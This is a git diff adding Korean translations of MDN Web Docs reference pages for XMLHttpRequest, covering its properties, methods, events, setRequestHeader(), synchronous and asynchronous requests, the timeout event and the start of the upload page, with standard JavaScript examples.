+ <dt id="xmlhttprequest-responsetype">{{domxref("XMLHttpRequest.responseType")}}</dt>
+ <dd>응답 타입을 정의하는 열거형 값입니다.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseURL")}} {{readonlyinline}}</dt>
+ <dd>응답의 연속된 URL 을 반환합니다. URL 이 null 인 경우 빈 문자열을 반환합니다.</dd>
+ <dt id="xmlhttprequest-responsexml">{{domxref("XMLHttpRequest.responseXML")}} {{readonlyinline}}</dt>
+ <dd>요청에 대한 응답을 갖는 {{domxref("Document")}} 를 반환합니다. 요청이 성공하지 못했거나, 아직 전송되지 않았거나, XML 또는 HTML 로 파싱할 수 없는 경우 <code>null</code> 을 반환합니다. workers 에서는 사용이 불가합니다.</dd>
+ <dt id="xmlhttprequest-status">{{domxref("XMLHttpRequest.status")}} {{readonlyinline}}</dt>
+ <dd>요청의 응답 상태를 갖는 <code>unsigned short</code> 를 반환합니다.</dd>
+ <dt id="xmlhttprequest-statustext">{{domxref("XMLHttpRequest.statusText")}} {{readonlyinline}}</dt>
+ <dd>HTTP 서버에 의해 반환된 응답 문자열을 갖는 {{domxref("DOMString")}} 을 반환합니다. {{domxref("XMLHTTPRequest.status")}} 와는 다르게, 응답 메시지의 전체 텍스트를 갖습니다(예, "<code>200 OK</code>").</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>노트:</strong> HTTP/2 명세(<a href="https://http2.github.io/http2-spec/#rfc.section.8.1.2.4">8.1.2.4</a> <a href="https://http2.github.io/http2-spec/#HttpResponse">Response Pseudo-Header Fields</a>)에 따르면, HTTP/2 는 HTTP/1.1 상태 라인에 포함된 버전이나 원인 문구를 전달하는 방법을 정의하지 않습니다.</p>
+</div>
+
+<dl>
+ <dt id="xmlhttprequest-timeout">{{domxref("XMLHttpRequest.timeout")}}</dt>
+ <dd>요청이 자동으로 종료될때까지 걸린 시간을 밀리초 단위로 나타내는 <code>unsigned long</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequestEventTarget.ontimeout")}}</dt>
+ <dd>요청 시간 초과때마다 호출되는 {{domxref("EventHandler")}} 입니다. {{gecko_minversion_inline("12.0")}}</dd>
+ <dt id="xmlhttprequest-upload">{{domxref("XMLHttpRequest.upload")}} {{readonlyinline}}</dt>
+ <dd>업로드 과정을 나타내는 {{domxref("XMLHttpRequestUpload")}} 입니다.</dd>
+ <dt id="xmlhttprequest-withcredentials">{{domxref("XMLHttpRequest.withCredentials")}}</dt>
+ <dd>사이트 간 <code>Access-Control</code> 요청이 쿠키나 인증 헤더와 같은 자격 증명을 사용해야하는지 여부를 나타내는 {{domxref("Boolean")}} 입니다.</dd>
+</dl>
+
+<h3 id="비표준_속성">비표준 속성</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.channel")}}{{ReadOnlyInline}}</dt>
+ <dd>{{Interface("nsIChannel")}} 입니다. 요청을 수행할 때 객체에 의해 사용된 채널입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozAnon")}}{{ReadOnlyInline}}</dt>
+ <dd>Boolean 입니다. true 일 경우, 요청이 쿠키나 인증 헤더 없이 전송됩니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozSystem")}}{{ReadOnlyInline}}</dt>
+ <dd>Boolean 입니다. true 일 경우, 요청에대해 동일 출처 정책(same origin policy)이 강제되지 않습니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozBackgroundRequest")}}</dt>
+ <dd> Boolean 입니다. 객체가 백그라운드 서비스 요청을 나타내는지 여부를 표시합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.mozResponseArrayBuffer")}}{{gecko_minversion_inline("2.0")}} {{obsolete_inline("6")}} {{ReadOnlyInline}}</dt>
+ <dd>{{jsxref("ArrayBuffer")}}. 요청에 대한 응답입니다. 타입이 지정된 JavaScript 배열입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.multipart")}}{{obsolete_inline("22")}}</dt>
+ <dd><strong>This Gecko-only feature, a boolean, was removed in Firefox/Gecko 22.</strong><br>
+ 대신 <a href="https://developer.mozilla.org/ko/docs/Web/API/Server-sent_events">Server-Sent Events</a>, <a href="https://developer.mozilla.org/ko/docs/WebSockets">웹 소켓</a>, 또는 프로그레스 이벤트의 <code>responseText</code> 를 사용하시기 바랍니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<p><code>XMLHttpRequest</code> 인스턴스의 속성으로써 <code>onreadystatechange</code> 는 모든 브라우저에서 지원됩니다.</p>
+
+<p>그 이후, 많은 부가적인 이벤트 핸들러가 다양한 브라우저에서 구현되었습니다(<code>onload</code>, <code>onerror</code>, <code>onprogress</code>, 등등.). <a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest 사용하기</a> 글을 확인하세요.</p>
+
+<p>Firefox 를 포함해, 더 최신 브라우저는 <code>on*</code> 속성을 핸들러 함수로 설정하는것 뿐만 아니라 표준 {{domxref("EventTarget.addEventListener", "addEventListener()")}} API 를 통해 <code>XMLHttpRequest</code> 이벤트 리스닝도 지원합니다.</p>
+
+<h2 id="메소드">메소드</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.abort()")}}</dt>
+ <dd>이미 전송된 요청을 중지합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.getAllResponseHeaders()")}}</dt>
+ <dd>모든 응답 헤더를 {{Glossary("CRLF")}} 로 구분한 문자열로 반환합니다. 응답을 받지 않은 경우 <code>null</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.getResponseHeader()")}}</dt>
+ <dd>지정한 헤더의 텍스트를 갖는 문자열을 반환합니다. 응답을 아직 받지 못했거나 응답에 헤더가 존재하지 않을 경우 <code>null</code> 입니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.open()")}}</dt>
+ <dd>요청을 초기화합니다. 이 메소드는 네이티브 코드로부터의 요청을 초기화하기 위해 JavaScript 코드에 의해 사용됩니다. 대신 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#openRequest()"><code>openRequest()</code></a> 를 사용하세요.</dd>
+ <dt>{{domxref("XMLHttpRequest.overrideMimeType()")}}</dt>
+ <dd>서버에의해 반환된 MIME 타입을 오버라이드합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.send()")}}</dt>
+ <dd>요청을 보냅니다. 요청이 비동기인 경우(기본값), 이 메소드는 요청이 보내진 즉시 반환합니다.</dd>
+ <dt>{{domxref("XMLHttpRequest.setRequestHeader()")}}</dt>
+ <dd>HTTP 요청 헤더의 값을 설정합니다. <a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest$edit#open"><code>open()</code></a> 후, <code>send()</code> 전에 <code>setRequestHeader()</code> 를 호출해야합니다.</dd>
+</dl>
+
+<h3 id="비표준_메소드">비표준 메소드</h3>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.init()")}}</dt>
+ <dd>C++ 코드에서 사용할 객체를 초기화합니다.</dd>
+</dl>
+
+<div class="blockIndicator warning">
+<p><strong>주의:</strong> 이 메소드는 JavaScript 에서 호출되면 안 됩니다.</p>
+</div>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest.openRequest()")}}</dt>
+ <dd>요청을 초기화합니다. 이 메소드는 JavaScript 코부로부터의 요청을 초기화하기위해 네이티브 코드에서 사용됩니다. 대신 <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIXMLHttpRequest#open()"><code>open()</code></a> 을 사용하세요. <code>open()</code> 에 대한 문서를 확인하세요.</dd>
+ <dt>{{domxref("XMLHttpRequest.sendAsBinary()")}}{{deprecated_inline()}}</dt>
+ <dd>바이너리 데이터를 보내는 <code>send()</code> 메소드의 다른 방식입니다.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt>{{domxref("XMLHttpRequest/abort_event", "abort")}}</dt>
+ <dd>예를 들어 프로그램이 {{domxref("XMLHttpRequest.abort()")}}를 호출해서 요청이 중단되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onabort", "onabort")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/error_event", "error")}}</dt>
+ <dd>요청에 에러가 생기면 발생한다.{{domxref("XMLHttpRequestEventTarget/onerror", "onerror")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/load_event", "load")}}</dt>
+ <dd>{{domxref("XMLHttpRequest")}} 처리 과정이 성공적으로 완료되면 발생한다.{{domxref("XMLHttpRequestEventTarget/onload", "onload")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadend_event", "loadend")}}</dt>
+ <dd>요청이 성공이든 ({{domxref("XMLHttpRequest/load_event", "load")}} 다음) 실패든 ({{domxref("XMLHttpRequest/abort_event", "abort")}} 또는 {{domxref("XMLHttpRequest/error_event", "error")}} 다음) 완료되면 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onloadend", "onloadend")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}</dt>
+ <dd>요청이 데이터를 받기 시작하면 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onloadstart", "onloadstart")}} 속성을 통해서도 가능하다.</dd>
+ <dt>{{domxref("XMLHttpRequest/progress_event", "progress")}}</dt>
+ <dd>요청이 데이터를 받는 동안 주기적으로 발생한다.<br>
+ {{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}} 속성을 통해서도 가능하다.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>Live standard, latest version</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">
+<p>The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.XMLHttpRequest")}}</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<ul>
+ <li>{{domxref("XMLSerializer")}}: DOM 트리를 XML 로 직렬화</li>
+ <li><code>XMLHttpRequest</code> 를 다루는 MDN 튜토리얼:
+ <ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/Guide/AJAX/Getting_Started">Ajax 시작하기</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/XMLHttpRequest/Using_XMLHttpRequest">XMLHttpRequest 사용하기</a></li>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/XMLHttpRequest/HTML_in_XMLHttpRequest">HTML in XMLHttpRequest</a></li>
+ </ul>
+ </li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/file/xhr2/">HTML5 Rocks — New Tricks in XMLHttpRequest2</a></li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/setrequestheader/index.html b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html
new file mode 100644
index 0000000000..c7c595e1f1
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/setrequestheader/index.html
@@ -0,0 +1,55 @@
+---
+title: XMLHttpRequest.setRequestHeader()
+slug: Web/API/XMLHttpRequest/setRequestHeader
+translation_of: Web/API/XMLHttpRequest/setRequestHeader
+---
+<p>{{APIRef('XMLHttpRequest')}}</p>
+
+<p><strong>XMLHttpRequest.setRequestHeader()</strong> 메소드는 HTTP요청 헤더의 값을 설정합니다. 반드시 <code>setRequestHeader()</code>를 <a href="#open"><code>open()</code></a>뒤에 호출하여야 하며, 또한 <code>send()</code>가 호출되기 전에 호출해야 합니다. 만약 이 메소드가 같은 헤더에 대하여 여러번 호출이 되면, 그 값은 단일 요청 헤더에 병합됩니다.</p>
+
+<p>만약 이것을 이용해 {{HTTPHeader("Accept")}} 헤더를 설정하지 않으면, {{domxref("XMLHttpRequest.send", "send()")}}가 호출될 때 <code>Accept</code> 헤더가 <code>*/*</code>와 함께 전송됩니다.</p>
+
+<p>보안상의 이유로, 어떤 헤더는 오직 사용자 에이전트에 의해서만 관리될 수 있습니다. 이 헤더는 {{Glossary("Forbidden_header_name", "forbidden header names", 1)}}와 {{Glossary("Forbidden_response_header_name", "forbidden response header names", 1)}}를 포함합니다.</p>
+
+<div class="note">
+<p>여러분의 필드에 대해서, 상호교차(cross-domain) 요청시 "<strong>not allowed by Access-Control-Allow-Headers in preflight response</strong>" Exception이 나타날 수 있습니다. 이런 경우, "Access-Control-Allow-Headers"를 서버 측 응답 헤더에 설정하면 됩니다.</p>
+</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox">myReq.setRequestHeader(<var>header</var>, <var>value</var>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>header</code></dt>
+ <dd>설정 될 값을 가진 헤더의 이름</dd>
+ <dt><code>value</code></dt>
+ <dd>헤더의 본문(body)에 설정될 값</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest', '#the-setRequestHeader()-method', 'setRequestHeader()')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td>WHATWG living standard</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>{{Compat("api.XMLHttpRequest.setRequestHeader")}}</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<p><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></p>
diff --git a/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
new file mode 100644
index 0000000000..8c57920201
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/synchronous_and_asynchronous_requests/index.html
@@ -0,0 +1,231 @@
+---
+title: Synchronous and asynchronous requests
+slug: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+translation_of: Web/API/XMLHttpRequest/Synchronous_and_Asynchronous_Requests
+---
+<p><code>XMLHttpRequest</code> 는 동기적 통신과 비동기적 통신을 모두 지원합니다.  하지만, 일반적으로는 성능상의 이유로 인하여 비동기적 요청이 동기적 요청보다 우선시 되어야 합니다. </p>
+
+<p>동기 요청은 코드 실행을 차단하여 화면에 “얼어붙어” 버리고 응답하지 없는 사용자 경험을 만듭니다.</p>
+
+<h2 id="Asynchronous_request">Asynchronous request</h2>
+
+<p>만약 <code>XMLHttpRequest</code>을 비동기적으로 사용한다면, 데이터가 도착했을때 콜백을 받게 될겁니다. 이렇게하면 요청이 처리되는 동안 브라우저는 여전히 정상적으로 동작 할 수 있습니다.</p>
+
+<h3 id="Example_send_a_file_to_the_console_log">Example: send a file to the console log</h3>
+
+<p>다음은 비동기적 <code>XMLHttpRequest</code>의 간단한 사용법입니다. </p>
+
+<pre class="brush: js">var xhr = new XMLHttpRequest();
+xhr.open("GET", "/bar/foo.txt", true);
+xhr.onload = function (e) {
+ if (xhr.readyState === 4) {
+ if (xhr.status === 200) {
+ console.log(xhr.responseText);
+ } else {
+ console.error(xhr.statusText);
+ }
+ }
+};
+xhr.onerror = function (e) {
+ console.error(xhr.statusText);
+};
+xhr.send(null); </pre>
+
+<p>두번째 줄에서 세번째 파라미터가 <code>true</code> 로 지정되면 요청이 비동기적으로 처리 된다는 선언입니다.</p>
+
+<p>Line 3 creates an event handler function object and assigns it to the request's <code>onload</code> attribute. This handler looks at the request's <code>readyState</code> to see if the transaction is complete in line 4 and if it is, and the HTTP status is 200, dumps the received content. If an error occurred, an error message is displayed.</p>
+
+<p>15번째 줄에서 실제 요청이 시작됩니다. 콜백 루틴은 이 요청의 상태가 변경 될 때 마다 호출됩니다.</p>
+
+<h3 id="Example_creating_a_standard_function_to_read_external_files">Example: creating a standard function to read external files</h3>
+
+<p>In some cases, you must read many external files. This is a standard function which uses the <code>XMLHttpRequest</code> object asynchronously in order to switch the content of the read file to a specified listener.</p>
+
+<pre class="brush: js">function xhrSuccess() {
+ this.callback.apply(this, this.arguments);
+}
+
+function xhrError() {
+ console.error(this.statusText);
+}
+
+function loadFile(url, callback /*, opt_arg1, opt_arg2, ... */) {
+ var xhr = new XMLHttpRequest();
+ xhr.callback = callback;
+ xhr.arguments = Array.prototype.slice.call(arguments, 2);
+ xhr.onload = xhrSuccess;
+ xhr.onerror = xhrError;
+ xhr.open("GET", url, true);
+ xhr.send(null);
+}
+</pre>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage(message) {
+ console.log(message + this.responseText);
+}
+
+loadFile("message.txt", showMessage, "New message!\n\n");
+</pre>
+
+<p>The signature of the utility function <em><strong>loadFile</strong></em> declares (i) a target URL to read (via HTTP GET), (ii) a function to execute on successful completion of the XHR operation, and (iii) an arbitrary list of additional arguments that are "passed through" the XHR object to the success callback function.</p>
+
+<p>Line 1 declares a function invoked when the XHR operation completes successfully. It, in turn, invokes the callback function specified in the invocation of the loadFile function (in this case, the function showMessage) which has been assigned to a property of the XHR object (Line 11). The additional arguments (if any) supplied to the invocation of function loadFile are "applied" to the running of the callback function.</p>
+
+<p>Line 5 declares a function invoked when the XHR operation fails to complete successfully.</p>
+
+<p>Line 11 stores on the XHR object the success callback function is given as the second argument to loadFile.</p>
+
+<p>Line 12 slices the arguments array given to the invocation of <em>loadFile</em>. Starting with the third argument, all remaining arguments are collected, assigned to the arguments property of the variable <em>xhr</em>, passed to the success callback function <em>xhrSuccess</em>., and ultimately supplied to the callback function (in this case, <em>showMessage</em>) which is invoked by function <em>xhrSuccess</em>.</p>
+
+<p>Line 15 specifies <em>true</em> for its third parameter to indicate that the request should be handled asynchronously.</p>
+
+<p>Line 16 actually initiates the request.</p>
+
+<h3 id="Example_using_a_timeout">Example: using a timeout</h3>
+
+<p>You can use a timeout to prevent hanging your code forever while waiting for a read to occur. This is done by setting the value of the <code>timeout</code> property on the <code>XMLHttpRequest</code> object, as shown in the code below:</p>
+
+<pre class="brush: js">function loadFile(url, timeout, callback) {
+ var args = Array.prototype.slice.call(arguments, 3);
+ var xhr = new XMLHttpRequest();
+ xhr.ontimeout = function () {
+ console.error("The request for " + url + " timed out.");
+ };
+ xhr.onload = function() {
+ if (xhr.readyState === 4) {
+ if (xhr.status === 200) {
+ callback.apply(xhr, args);
+ } else {
+ console.error(xhr.statusText);
+ }
+ }
+ };
+ xhr.open("GET", url, true);
+ xhr.timeout = timeout;
+ xhr.send(null);
+}</pre>
+
+<p>Notice the addition of code to handle the "timeout" event by setting the <code>ontimeout</code> handler.</p>
+
+<p>Usage:</p>
+
+<pre class="brush: js">function showMessage (message) {
+ console.log(message + this.responseText);
+}
+
+loadFile("message.txt", 2000, showMessage, "New message!\n");
+</pre>
+
+<p>Here, we're specifying a timeout of 2000 ms.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Support for <code>timeout</code> was added in {{Gecko("12.0")}}.</p>
+</div>
+
+<h2 id="Synchronous_request">Synchronous request</h2>
+
+<div class="note"><strong>Note:</strong> Starting with Gecko 30.0 {{ geckoRelease("30.0") }}, Blink 39.0, and Edge 13, synchronous requests on the main thread have been deprecated due to the negative effects to the user experience.</div>
+
+<p>Synchronous XHR often causes hangs on the web. But developers typically don't notice the problem because the hang only manifests during poor network conditions or slow server response. Synchronous XHR is now in deprecation state. Developers are recommended to move away from the API.</p>
+
+<p>All new XHR features such as <code>timeout</code> or <code>abort</code> aren't allowed for synchronous XHR. Doing so would invoke <code>InvalidAccessError</code>.</p>
+
+<h3 id="Example_HTTP_synchronous_request">Example: HTTP synchronous request</h3>
+
+<p>This example demonstrates how to make a simple synchronous request.</p>
+
+<pre class="brush: js">var request = new XMLHttpRequest();
+request.open('GET', '/bar/foo.txt', false); // `false` makes the request synchronous
+request.send(null);
+
+if (request.status === 200) {
+ console.log(request.responseText);
+}
+</pre>
+
+<p>Line 3 sends the request. The <code>null</code> parameter indicates that no body content is needed for the <code>GET</code> request.</p>
+
+<p>Line 5 checks the status code after the transaction is completed. If the result is 200 -- HTTP's "OK" result -- the document's text content is output to the console.</p>
+
+<h3 id="Example_Synchronous_HTTP_request_from_a_Worker">Example: Synchronous HTTP request from a <code>Worker</code></h3>
+
+<p>One of the few cases in which a synchronous request does not usually block execution is the use of <code>XMLHttpRequest</code> within a <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>.</p>
+
+<p><code><strong>example.html</strong></code> (the main page):</p>
+
+<pre class="brush: html">&lt;!doctype html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /&gt;
+&lt;title&gt;MDN Example&lt;/title&gt;
+&lt;script type="text/javascript"&gt;
+ var worker = new Worker("myTask.js");
+ worker.onmessage = function(event) {
+ alert("Worker said: " + event.data);
+ };
+
+ worker.postMessage("Hello");
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<p><code><strong>myFile.txt</strong></code> (the target of the synchronous <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> invocation):</p>
+
+<pre>Hello World!!
+</pre>
+
+<p><code><strong>myTask.js</strong></code> (the <code><a href="/en-US/docs/Web/API/Worker">Worker</a></code>):</p>
+
+<pre class="brush: js">self.onmessage = function (event) {
+ if (event.data === "Hello") {
+ var xhr = new XMLHttpRequest();
+ xhr.open("GET", "myFile.txt", false); // synchronous request
+ xhr.send(null);
+ self.postMessage(xhr.responseText);
+ }
+};
+</pre>
+
+<div class="note"><strong>Note:</strong> The effect, because of the use of the <code>Worker</code>, is however asynchronous.</div>
+
+<p>It could be useful in order to interact in the background with the server or to preload some content. See <a class="internal" href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Using web workers</a> for examples and details.</p>
+
+<h3 id="Adapting_Sync_XHR_usecases_to_the_Beacon_API">Adapting Sync XHR usecases to the Beacon API</h3>
+
+<p>There are some cases in which the synchronous usage of XMLHttpRequest was not replaceable, like during the <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onunload"><code>window.onunload</code></a> and <a class="internal" href="/en-US/docs/Web/API/WindowEventHandlers/onbeforeunload"><code>window.onbeforeunload</code></a> events. You should consider using the <code>fetch</code> API with <code>keepalive</code> flag. When <code>fetch</code> with <code>keepalive</code> isn't available, you can consider using the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a> API can support these use cases typically while delivering a good UX.</p>
+
+<p>The following example (from the <a href="/en-US/docs/Web/API/Navigator/sendBeacon">sendBeacon docs</a>) shows a theoretical analytics code that attempts to submit data to a server by using a synchronous XMLHttpRequest in an unload handler. This results in the unloading of the page to be delayed.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+ var client = new XMLHttpRequest();
+ client.open("POST", "/log", false); // third parameter indicates sync xhr. :(
+ client.setRequestHeader("Content-Type", "text/plain;charset=UTF-8");
+ client.send(analyticsData);
+}
+</pre>
+
+<p>Using the <strong><code>sendBeacon()</code></strong> method, the data will be transmitted asynchronously to the web server when the User Agent has had an opportunity to do so, <strong>without delaying the unload or affecting the performance of the next navigation.</strong></p>
+
+<p>The following example shows a theoretical analytics code pattern that submits data to a server by using the <strong><code>sendBeacon()</code></strong> method.</p>
+
+<pre class="brush: js">window.addEventListener('unload', logData, false);
+
+function logData() {
+ navigator.sendBeacon("/log", analyticsData);
+}
+</pre>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest"><code>XMLHttpRequest</code></a></li>
+ <li><a href="/en-US/docs/Web/API/XMLHttpRequest/Using_XMLHttpRequest">Using XMLHttpRequest</a></li>
+ <li><a href="/en-US/docs/Web/Guide/AJAX">AJAX</a></li>
+ <li><code><a href="/en-US/docs/Web/API/Navigator/sendBeacon">navigator.sendBeacon</a></code></li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/timeout/index.html b/files/ko/web/api/xmlhttprequest/timeout/index.html
new file mode 100644
index 0000000000..4ecc599f9d
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/timeout/index.html
@@ -0,0 +1,123 @@
+---
+title: timeout
+slug: Web/API/XMLHttpRequest/timeout
+translation_of: Web/API/XMLHttpRequest/timeout_event
+---
+<div>
+<p><code><strong>timeout</strong></code> 이벤트는 미리 설정한 시간이 만료되어 진행이 종료되면 시작합니다.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <td>Bubbles</td>
+ <td>No</td>
+ </tr>
+ <tr>
+ <td>Cancelable</td>
+ <td>No</td>
+ </tr>
+ <tr>
+ <td>Target objects</td>
+ <td>{{domxref("XMLHttpRequest")}}</td>
+ </tr>
+ <tr>
+ <td>Interface</td>
+ <td>{{domxref("ProgressEvent")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js line-numbers language-js"><code class="language-js">var client <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">XMLHttpRequest</span><span class="punctuation token">(</span><span class="punctuation token">);</span>
+client<span class="punctuation token">.</span><span class="function token">open</span><span class="punctuation token">(</span><span class="string token">"GET"</span><span class="punctuation token">,</span> <span class="string token">"http://www.example.org/example.txt"</span><span class="punctuation token">);</span>
+client<span class="punctuation token">.</span>ontimeout <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>e<span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ console.error("Timeout!!");
+<span class="punctuation token">}</span>
+client<span class="punctuation token">.</span><span class="function token">send</span><span class="punctuation token">(</span><span class="punctuation token">);</span></code></pre>
+
+<h2 id="Inheritance">Inheritance</h2>
+
+<p><code>timeout</code> 이벤트는 {{domxref("Event")}}에서 상속받은 {{domxref("ProgressEvent")}} 인터페이스를 구현합니다. 이 인터페이스에 선언된 속성(property)과 메서드를 사용할 수 있습니다.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('XMLHttpRequest')}}</td>
+ <td>{{Spec2('XMLHttpRequest')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>1.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+ <td>10.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoMobile("1.9.1")}}</td>
+ <td>10.0</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+</ul>
diff --git a/files/ko/web/api/xmlhttprequest/upload/index.html b/files/ko/web/api/xmlhttprequest/upload/index.html
new file mode 100644
index 0000000000..329920fc68
--- /dev/null
+++ b/files/ko/web/api/xmlhttprequest/upload/index.html
@@ -0,0 +1,88 @@
+---
+title: XMLHttpRequest.upload
+slug: Web/API/XMLHttpRequest/upload
+translation_of: Web/API/XMLHttpRequest/upload
+---
+<div>{{APIRef('XMLHttpRequest')}}</div>
+
+<p><span class="seoSummary">{{domxref("XMLHttpRequest")}} <code>upload</code> 프로퍼티는 업로드 진행 상황을 모니터링 할 수 있는 {{domxref("XMLHttpRequestUpload")}} 객체를 반환합니다.</span> 불투명한 객체(opaque object)이지만  {{domxref("XMLHttpRequestEventTarget")}} 이기도 하기 때문에 이벤트 리스너를 연결하여 프로세스를 추적할 수 있습니다.</p>
+
+<p>upload 이벤트에서 다음 이벤트가 트리거되어 업로드를 모니터링하는데 사용할 수 있습니다.</p>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <td class="header">Event</td>
+ <td class="header">Event listener</td>
+ <td class="header">Description</td>
+ </tr>
